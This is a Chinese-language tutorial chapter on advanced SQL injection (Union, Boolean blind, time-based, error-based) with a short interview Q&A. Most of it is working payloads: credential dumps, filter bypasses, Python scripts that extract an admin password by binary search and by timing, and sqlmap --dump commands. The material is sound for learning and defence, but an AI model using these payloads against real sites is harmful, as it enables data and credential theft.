02-2. SQL Injection 攻擊技巧:Union、Blind、Time-Based
深入學習進階 SQL Injection 攻擊手法與實戰技巧
目錄
02-2. SQL Injection 攻擊技巧:Union、Blind、Time-based
⏱️ 閱讀時間: 18 分鐘 🎯 難度: ⭐⭐⭐ (中高) ⚠️ 警告: 本文內容僅供學習與防禦用途,禁止用於非法攻擊
🎯 本篇重點
深入學習 4 種進階 SQL Injection 攻擊技巧:Union-based、Boolean-based Blind、Time-based Blind、Error-based,理解如何在不同限制下竊取資料。
📊 SQL Injection 攻擊分類
依回顯方式分類
1. In-band SQL Injection(帶內注入)
├─ Union-based(最常見)
├─ Error-based
└─ 攻擊者可以直接看到查詢結果
2. Blind SQL Injection(盲注)
├─ Boolean-based(邏輯盲注)
├─ Time-based(時間盲注)
└─ 攻擊者看不到查詢結果,需要推斷
3. Out-of-band SQL Injection(帶外注入)
└─ 使用不同管道(如 DNS、HTTP)傳輸資料
└─ 較少見,需要特定資料庫功能難度對比
| 類型 | 難度 | 速度 | 適用場景 |
|---|---|---|---|
| Union-based | ⭐⭐ | 快 | 查詢結果顯示在頁面上 |
| Error-based | ⭐⭐ | 快 | 錯誤訊息顯示在頁面上 |
| Boolean-based Blind | ⭐⭐⭐ | 慢 | 頁面有明顯差異(有無資料) |
| Time-based Blind | ⭐⭐⭐⭐ | 很慢 | 頁面無差異,只能用時間判斷 |
1️⃣ Union-based SQL Injection
原理
使用 UNION 語句合併兩個查詢結果,在頁面上顯示額外資料
正常查詢:
SELECT id, name, price FROM products WHERE id = 1
Union 攻擊:
SELECT id, name, price FROM products WHERE id = 1
UNION
SELECT id, username, password FROM users
結果:
頁面同時顯示商品資訊和用戶帳號密碼生活比喻
情境:圖書館借書
正常:你借「程式設計」類的書
結果:圖書館給你程式設計的書
Union 攻擊:你說「我要程式設計的書,還有館長辦公室的機密文件」
結果:圖書館把兩批資料都給你了
UNION = 合併兩個查詢結果攻擊步驟
Step 1:判斷欄位數量
-- 目標:找出原始查詢有幾個欄位
-- 測試 1:3 個欄位
' UNION SELECT NULL, NULL, NULL --
如果正常顯示 → 可能是 3 個欄位
如果出錯 → 不是 3 個欄位
-- 測試 2:4 個欄位
' UNION SELECT NULL, NULL, NULL, NULL --
如果正常顯示 → 可能是 4 個欄位
如果出錯 → 不是 4 個欄位
重複測試,直到找到正確欄位數# 範例:漏洞代碼
def get_product(product_id):
query = f"SELECT id, name, price FROM products WHERE id = {product_id}"
cursor.execute(query)
return cursor.fetchone()
# 測試欄位數
get_product("1 UNION SELECT NULL, NULL, NULL")
# → 正常顯示(3 個欄位正確)
get_product("1 UNION SELECT NULL, NULL, NULL, NULL")
# → 出錯:UNION 查詢欄位數不匹配Step 2:找出可顯示的欄位
-- 測試哪些欄位會顯示在頁面上
' UNION SELECT 'AAA', 'BBB', 'CCC' --
頁面顯示:
商品名稱:BBB
價格:CCC
結論:第 2、3 個欄位會顯示在頁面上Step 3:竊取資料庫資訊
-- 取得資料庫版本
' UNION SELECT NULL, @@version, NULL --
-- 取得當前資料庫名稱
' UNION SELECT NULL, database(), NULL --
-- 取得當前用戶
' UNION SELECT NULL, user(), NULL --
-- MySQL 範例回傳:
商品名稱:8.0.35-MySQL
價格:NULLStep 4:列出所有資料表
-- MySQL:從 information_schema 取得資料表名稱
' UNION SELECT NULL, table_name, NULL
FROM information_schema.tables
WHERE table_schema = database() --
-- 可能回傳:
users
products
orders
payments
admin_users ← 發現敏感資料表Step 5:列出資料表的欄位
-- 取得 users 資料表的欄位名稱
' UNION SELECT NULL, column_name, NULL
FROM information_schema.columns
WHERE table_name = 'users' --
-- 可能回傳:
id
username
email
password ← 目標欄位
api_key
created_atStep 6:竊取資料
-- 竊取用戶帳號密碼
' UNION SELECT NULL, username, password FROM users --
-- 頁面顯示:
商品名稱:admin
價格:5f4dcc3b5aa765d61d8327deb882cf99 ← MD5 密碼雜湊
商品名稱:john
價格:e10adc3949ba59abbe56e057f20f883e
-- 竊取多個欄位(使用 CONCAT)
' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM users --
-- 頁面顯示:
商品名稱:admin:5f4dcc3b5aa765d61d8327deb882cf99
商品名稱:john:e10adc3949ba59abbe56e057f20f883e完整攻擊範例
# 漏洞代碼
def search_products(keyword):
query = f"SELECT id, name, price FROM products WHERE name LIKE '%{keyword}%'"
cursor.execute(query)
return cursor.fetchall()
# 攻擊步驟:
# 1. 測試欄位數
search_products("' UNION SELECT NULL, NULL, NULL --")
# → 成功,3 個欄位
# 2. 測試可顯示欄位
search_products("' UNION SELECT 111, 222, 333 --")
# → 頁面顯示 222 和 333
# 3. 取得資料庫資訊
search_products("' UNION SELECT NULL, @@version, database() --")
# → 顯示:MySQL 8.0.35, mydb
# 4. 列出資料表
search_products("' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema='mydb' --")
# → 顯示:users, products, orders...
# 5. 列出 users 的欄位
search_products("' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --")
# → 顯示:id, username, email, password...
# 6. 竊取用戶資料
search_products("' UNION SELECT NULL, username, password FROM users --")
# → 顯示所有用戶的帳號密碼!防禦檢測 Union 攻擊
# 攻擊者可能遇到的防禦:
# 1. 過濾 UNION 關鍵字
keyword = "apple' UNION SELECT"
if 'union' in keyword.lower():
return "檢測到惡意輸入"
# 繞過:大小寫混合
keyword = "apple' UnIoN SeLeCt"
keyword = "apple' /*!UNION*/ SELECT" # MySQL 註解繞過
# 2. 限制查詢結果數量
query = f"SELECT * FROM products WHERE name LIKE '%{keyword}%' LIMIT 10"
# 繞過困難,但仍可竊取前 10 筆資料
# 3. 隱藏錯誤訊息
# 如果錯誤訊息不顯示,Union 攻擊更困難
# → 需要改用 Blind SQL Injection2️⃣ Boolean-based Blind SQL Injection(邏輯盲注)
原理
頁面不顯示查詢結果,但會根據查詢真假有不同反應
True(真):頁面正常顯示 / 有資料
False(假):頁面異常 / 無資料
利用這個差異,逐字元推斷資料生活比喻
情境:猜數字遊戲
你:「數字是 5 嗎?」
對方:搖頭(False)
你:「數字大於 5 嗎?」
對方:點頭(True)
你:「數字是 8 嗎?」
對方:搖頭(False)
你:「數字是 7 嗎?」
對方:點頭(True)
結果:推斷出數字是 7
Blind SQL Injection 就是透過一連串的「是非題」
推斷出資料庫的內容攻擊步驟
Step 1:確認漏洞存在
-- 測試 1:永遠為真
' AND 1=1 --
→ 頁面正常顯示
-- 測試 2:永遠為假
' AND 1=2 --
→ 頁面無資料 / 異常
如果兩者反應不同 → 存在 Blind SQL Injection# 範例:漏洞代碼
def check_user_exists(username):
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
user = cursor.fetchone()
if user:
return "用戶存在"
else:
return "用戶不存在"
# 測試:
check_user_exists("admin' AND 1=1 --")
# → "用戶存在"(因為 admin 存在 AND 1=1 為真)
check_user_exists("admin' AND 1=2 --")
# → "用戶不存在"(因為 1=2 為假)
# 確認存在 Blind SQL Injection!Step 2:推斷資料庫資訊
-- 推斷資料庫名稱長度
' AND LENGTH(database()) = 5 --
→ False
' AND LENGTH(database()) = 6 --
→ True
結論:資料庫名稱長度是 6
-- 推斷資料庫名稱第 1 個字元
' AND SUBSTRING(database(), 1, 1) = 'a' --
→ False
' AND SUBSTRING(database(), 1, 1) = 'm' --
→ True
結論:第 1 個字元是 'm'
-- 推斷第 2 個字元
' AND SUBSTRING(database(), 2, 1) = 'y' --
→ True
繼續推斷... → 最終得出:mydbStep 3:推斷管理員密碼
# 自動化腳本(概念)
import string
def guess_password():
charset = string.ascii_lowercase + string.digits
password = ""
position = 1
while True:
found = False
for char in charset:
# 測試每個字元
payload = f"admin' AND SUBSTRING(password, {position}, 1) = '{char}' --"
response = check_user_exists(payload)
if "用戶存在" in response:
password += char
print(f"找到第 {position} 個字元:{char}")
print(f"目前密碼:{password}")
position += 1
found = True
break
if not found:
break # 沒有更多字元
return password
# 執行:
# 找到第 1 個字元:a
# 目前密碼:a
# 找到第 2 個字元:d
# 目前密碼:ad
# 找到第 3 個字元:m
# 目前密碼:adm
# ...
# 最終密碼:admin123Step 4:優化(使用二分搜尋)
# 更快的方法:比較 ASCII 值
def guess_password_fast():
password = ""
position = 1
while True:
# 二分搜尋 ASCII 值
low, high = 32, 126 # 可見字元範圍
while low < high:
mid = (low + high) // 2
payload = f"admin' AND ASCII(SUBSTRING(password, {position}, 1)) > {mid} --"
response = check_user_exists(payload)
if "用戶存在" in response:
low = mid + 1
else:
high = mid
if low == 32: # 沒有更多字元
break
password += chr(low)
print(f"找到第 {position} 個字元:{chr(low)}")
position += 1
return password
# 這個方法比逐字元測試快很多!
# 原本需要測試 36 次(26 字母 + 10 數字)
# 現在只需要 log2(94) ≈ 7 次實戰範例
# 漏洞網站
def login(username, password):
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
user = cursor.fetchone()
if user:
return redirect('/dashboard')
else:
return render('login.html', error="登入失敗")
# 攻擊:推斷 admin 的密碼長度
username = "admin' AND LENGTH(password) = 10 --"
password = "anything"
# → 登入失敗(密碼長度不是 10)
username = "admin' AND LENGTH(password) = 32 --"
password = "anything"
# → 重定向到 /dashboard(密碼長度是 32)
# 推斷密碼第 1 個字元
username = "admin' AND SUBSTRING(password, 1, 1) = 'a' --"
# → 失敗
username = "admin' AND SUBSTRING(password, 1, 1) = '5' --"
# → 成功
# 繼續推斷... 最終得到完整密碼3️⃣ Time-based Blind SQL Injection(時間盲注)
原理
頁面無論真假都沒有明顯差異,利用時間延遲來判斷
True(真):查詢延遲 5 秒
False(假):立即回應
透過時間差異推斷資料何時使用?
Boolean-based 失效的情況:
├─ 頁面無論真假都一樣
├─ 沒有明顯差異
└─ 無法用 True/False 判斷
只能依賴時間延遲攻擊步驟
Step 1:確認漏洞
-- MySQL
' AND SLEEP(5) --
-- PostgreSQL
' AND pg_sleep(5) --
-- SQL Server
'; WAITFOR DELAY '00:00:05' --
-- Oracle
' AND DBMS_LOCK.SLEEP(5) --
如果頁面延遲 5 秒 → 存在 Time-based Blind SQL Injection# 測試範例
import time
def check_time_based_sqli(username):
start = time.time()
check_user_exists(username)
elapsed = time.time() - start
return elapsed
# 正常查詢
elapsed = check_time_based_sqli("admin")
print(f"正常查詢:{elapsed:.2f} 秒") # → 0.05 秒
# Time-based 攻擊
elapsed = check_time_based_sqli("admin' AND SLEEP(5) --")
print(f"注入 SLEEP:{elapsed:.2f} 秒") # → 5.05 秒
# 確認存在漏洞!Step 2:推斷資料
-- 推斷資料庫名稱長度
' AND IF(LENGTH(database())=5, SLEEP(5), 0) --
→ 立即回應(長度不是 5)
' AND IF(LENGTH(database())=6, SLEEP(5), 0) --
→ 延遲 5 秒(長度是 6)
-- 推斷第 1 個字元
' AND IF(SUBSTRING(database(), 1, 1)='m', SLEEP(5), 0) --
→ 延遲 5 秒(第 1 個字元是 'm')
-- 推斷第 2 個字元
' AND IF(SUBSTRING(database(), 2, 1)='y', SLEEP(5), 0) --
→ 延遲 5 秒(第 2 個字元是 'y')
繼續推斷... → 得出:mydbStep 3:自動化腳本
import time
import string
def time_based_extraction(query_template):
"""
query_template: "admin' AND IF({condition}, SLEEP(3), 0) --"
"""
result = ""
position = 1
charset = string.ascii_lowercase + string.digits + '_'
while True:
found = False
for char in charset:
# 構造條件
condition = f"SUBSTRING(password, {position}, 1)='{char}'"
payload = query_template.format(condition=condition)
# 測試時間
start = time.time()
check_user_exists(payload)
elapsed = time.time() - start
if elapsed > 2.5: # 延遲超過 2.5 秒視為 True
result += char
print(f"找到第 {position} 個字元:{char}")
position += 1
found = True
break
if not found:
break
return result
# 使用:
password = time_based_extraction("admin' AND IF({condition}, SLEEP(3), 0) --")
print(f"密碼:{password}")優化:減少請求次數
# 使用二分搜尋(比較 ASCII 值)
def time_based_fast(query_template):
result = ""
position = 1
while True:
low, high = 32, 126
while low < high:
mid = (low + high) // 2
condition = f"ASCII(SUBSTRING(password, {position}, 1)) > {mid}"
payload = query_template.format(condition=condition)
start = time.time()
check_user_exists(payload)
elapsed = time.time() - start
if elapsed > 2.5:
low = mid + 1
else:
high = mid
if low == 32:
break
result += chr(low)
print(f"找到第 {position} 個字元:{chr(low)}")
position += 1
return resultTime-based 的挑戰
1. 速度很慢
├─ 每次請求等待 3-5 秒
├─ 推斷 10 個字元 = 至少 50 次請求
└─ 總時間:250 秒(4 分鐘)以上
2. 網路延遲影響
├─ 正常延遲 + SLEEP 延遲
└─ 需要設定閾值(如 2.5 秒)
3. 可能被 WAF 偵測
├─ 大量延遲請求異常
└─ 可能觸發 Rate Limiting
4. 伺服器負載
└─ SLEEP 會佔用資料庫連線4️⃣ Error-based SQL Injection
原理
利用資料庫錯誤訊息洩漏資料
正常:
SELECT * FROM users WHERE id = 1
錯誤注入:
SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) AS y)
錯誤訊息:
Duplicate entry 'mydb:1' for key 'group_key'
↑
洩漏資料庫名稱適用場景
條件:
✅ 錯誤訊息顯示在頁面上
✅ 包含詳細資訊
不適用:
❌ 生產環境關閉 Debug 模式
❌ 自訂錯誤頁面常見 Payload
-- MySQL:使用 EXTRACTVALUE
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e)) --
錯誤:XPATH syntax error: '~mydb~'
-- MySQL:使用 UPDATEXML
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT user()), 0x7e), 1) --
錯誤:XPATH syntax error: '~root@localhost~'
-- 竊取用戶密碼
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1), 0x7e)) --
錯誤:XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf99~'🛠️ 自動化工具:SQLMap
簡介
SQLMap = 自動化 SQL Injection 工具
# 安裝
pip install sqlmap
# 基本使用
sqlmap -u "http://example.com/product?id=1"
# 指定資料庫
sqlmap -u "http://example.com/product?id=1" --dbms=mysql
# 列出資料庫
sqlmap -u "http://example.com/product?id=1" --dbs
# 列出資料表
sqlmap -u "http://example.com/product?id=1" -D mydb --tables
# 傾印資料表
sqlmap -u "http://example.com/product?id=1" -D mydb -T users --dump
# POST 請求
sqlmap -u "http://example.com/login" --data="username=admin&password=123"
# Cookie
sqlmap -u "http://example.com/profile" --cookie="session=abc123"SQLMap 優勢
✅ 自動偵測漏洞類型
└─ Union, Boolean, Time-based, Error-based
✅ 支援多種資料庫
└─ MySQL, PostgreSQL, MSSQL, Oracle, SQLite...
✅ 自動繞過 WAF
└─ 各種編碼、混淆技巧
✅ 完整的資料擷取
└─ 資料庫、資料表、欄位、資料
缺點:
❌ 速度較慢(尤其是 Blind)
❌ 可能被 WAF 偵測
❌ 需要手動分析複雜情況🎓 面試常考題
Q1:Union-based 和 Blind SQL Injection 的差異?
A:主要差異在於是否能看到查詢結果
Union-based:
├─ 查詢結果顯示在頁面上
├─ 使用 UNION 合併查詢
├─ 速度快,效率高
└─ 範例:' UNION SELECT username, password FROM users --
Blind SQL Injection:
├─ 查詢結果不顯示在頁面上
├─ 需要透過間接方式推斷
├─ 速度慢,需要大量請求
└─ 分為 Boolean-based 和 Time-based
Boolean-based:
├─ 頁面根據真假有不同反應
├─ 範例:' AND SUBSTRING(password, 1, 1) = 'a' --
└─ 逐字元推斷資料
Time-based:
├─ 利用時間延遲判斷
├─ 範例:' AND IF(1=1, SLEEP(5), 0) --
└─ 最慢但最通用
選擇:
優先使用 Union-based(最快)
無法使用時才用 Blind(較慢)Q2:如何判斷 SQL 查詢有幾個欄位?
A:使用 UNION SELECT 逐一測試
方法 1:UNION SELECT NULL
' UNION SELECT NULL -- (1 個欄位)
' UNION SELECT NULL, NULL -- (2 個欄位)
' UNION SELECT NULL, NULL, NULL -- (3 個欄位)
如果欄位數正確 → 頁面正常
如果欄位數錯誤 → 資料庫錯誤
方法 2:ORDER BY
' ORDER BY 1 -- (正常)
' ORDER BY 2 -- (正常)
' ORDER BY 3 -- (正常)
' ORDER BY 4 -- (錯誤:欄位不存在)
結論:有 3 個欄位
為什麼重要?
UNION 要求兩個查詢的欄位數相同
必須先知道原始查詢有幾個欄位
才能構造正確的 UNION payloadQ3:Time-based Blind 為什麼最慢?
A:需要等待每次查詢的延遲時間
速度對比:
Union-based:
├─ 1 次請求取得所有資料
└─ 時間:< 1 秒
Boolean-based Blind:
├─ 每個字元需要 10-36 次請求(逐字元測試)
├─ 或 log2(94) ≈ 7 次請求(二分搜尋)
└─ 時間:數秒到數分鐘
Time-based Blind:
├─ 每次請求延遲 3-5 秒
├─ 每個字元需要 7 次請求(二分搜尋)
├─ 10 個字元 = 70 次請求 × 3 秒 = 210 秒
└─ 時間:數分鐘到數小時
範例:
推斷 32 字元密碼(MD5)
├─ Union: < 1 秒
├─ Boolean: 1-5 分鐘
└─ Time-based: 6-10 分鐘
結論:
Time-based 是最後手段
只在其他方法都不可行時使用✅ 重點回顧
四種攻擊類型:
1. Union-based(最快):
- ✅ 查詢結果顯示在頁面
- ✅ 使用 UNION 合併查詢
- ✅ 步驟:判斷欄位數 → 找資料表 → 竊取資料
2. Boolean-based Blind(慢):
- ✅ 頁面根據真假有不同反應
- ✅ 逐字元推斷資料
- ✅ 使用二分搜尋優化速度
3. Time-based Blind(最慢):
- ✅ 利用 SLEEP() 延遲判斷
- ✅ 最通用但速度最慢
- ✅ 每個字元需等待數秒
4. Error-based(快):
- ✅ 利用錯誤訊息洩漏資料
- ✅ 只在 Debug 模式有效
- ✅ 生產環境通常不可用
工具:
- 🛠️ SQLMap:自動化 SQL Injection
- 🛠️ Burp Suite:手動測試與分析
選擇策略:
- 優先:Union-based(最快)
- 次選:Error-based(如果有錯誤訊息)
- 備選:Boolean-based Blind(頁面有差異)
- 最後:Time-based Blind(無其他選擇)
記憶口訣: 「聯錯布時」= Union、Error-based、Boolean、Time-based
上一篇: 02-1. SQL Injection 基礎 下一篇: 02-3. SQL Injection 防禦
最後更新:2025-01-16